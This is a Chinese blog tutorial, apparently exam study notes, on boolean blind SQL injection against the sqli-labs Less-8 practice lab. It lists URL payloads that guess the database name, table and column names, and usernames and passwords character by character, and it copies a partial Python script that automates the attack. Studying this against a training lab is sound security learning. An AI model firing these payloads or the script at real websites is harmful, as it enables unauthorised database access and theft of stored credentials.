【PTE】SQL注入(二)

七、盲注

盲注会用到上百条语句去一个字母一个字母猜,所以一般都会用自动化工具去跑,而不是手工注入

(一)布尔盲注(bool)

特点:无论参数是什么,只有两种:①正常显示,②啥也不显示

1.几个函数

substr()

截取函数,要给3个参数

substr(要截取的字符串,从哪一位开始截取,截取几位)

substr(pte,1,1)就是p

ascii()

将字母转换成ascii码的数字

length()

长度转换函数,输出结果的长度

2.sqlilabs-less8 

只有两种显示:一种正常显示,一种啥也不显示

符合盲注特点,选择盲注方式处理

猜库长度

1. 判断数据库名字的长度

?id=1' and length(database())>5 --+

通过改变数字来确定数据库名字长度,等没有回显时就说明不符合条件,最后再

?id=1' and length(database())=8 --+

有回显,说明数据库长度为8

2.猜解数据库名
这里采用substr函数对数据库名进行分割,配合ascii函数,利用二分法进行字母猜解:
先猜解第一个字母:

?id=1' and ascii(substr(database(),1,1))>100 --+


猜解第二个字母:

?id=1' and ascii(substr(database(),2,1))>100 --+

3.猜解当前库中的表:
先猜解第一个表名的第一个字母:

?id=1’ and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>10 --+

4.猜解users表中的字段:
先猜解第一个字段的第一个字母:

?id=1’ and ascii(substr((select column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),1,1))>100 --+

5.猜解username字段的信息:
先猜解第一个信息的第一个字母:

?id=1’ and ascii(substr((select username from security.users limit 0,1),1,1))>10 --+

6.猜解password字段的信息:
先猜解第一个信息的第一个字母:
 

?id=1’ and ascii(substr((select password from security.users limit 0,1),1,1))>10 --+

7.一遍遍穷举,最后一百多次后得到全部数据

所以这玩意就不能手工注入,就该跑脚本 sqlmap跑这一关就很方便

3.sqlilabs-less8 脚本

抄来一份别的师傅写的针对这一关的脚本

copyright©Less-8(盲注--布尔盲注)_老司机开代码的博客-CSDN博客

#!/usr/bin/env python
# -*- encoding: utf-8 -*-

import requests
import re

class SQL_injection():
    def __init__(self, id, url, table_name='tables', db_name='information.schema',  *args):
        self.id = id
        self.url = url
        self.db_name = db_name
        self.table_name = table_name
        self.args = args

    # 访问操作
    # 判断检索字段返回值: 返回检索字段的数目
    # 盲注返回值: True返回1 False返回0
    def req(self, url, num):
        response = requests.get(url)
        # print(url)
        # print(response.text)
        result = re.search(r'color="#FFFF00">(.*?)<', response.text)
        # print(result)
        if result:
            if result.group(1) == "You are in...........":
                # print("连接正确")
                return num
            else:
                return 0
        else:
            return 0


    # 判断字段数目, 需要指定数据库和数据表
    def column_num(self):
        num = 0
        for i in range(1, 100):
            new_url1 = self.url + self.id + " order by %s --+ " % (i)
            # print(new_url1)
            flag = self.req(new_url1, i)
            if flag:
                num = flag
                print("\r网页搜索的字段数目为:%s" % flag, end="")
            if not flag:
                # print("xxx")
                break
        print()
        return num


    # 判断当前数据库名字
    def db_name1(self):
        length = 0
        for i in range(1,100):
            new_url = self.url + self.id + " and length(database())=%s  --+" % i
            flag = self.req(new_url, 1)
 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值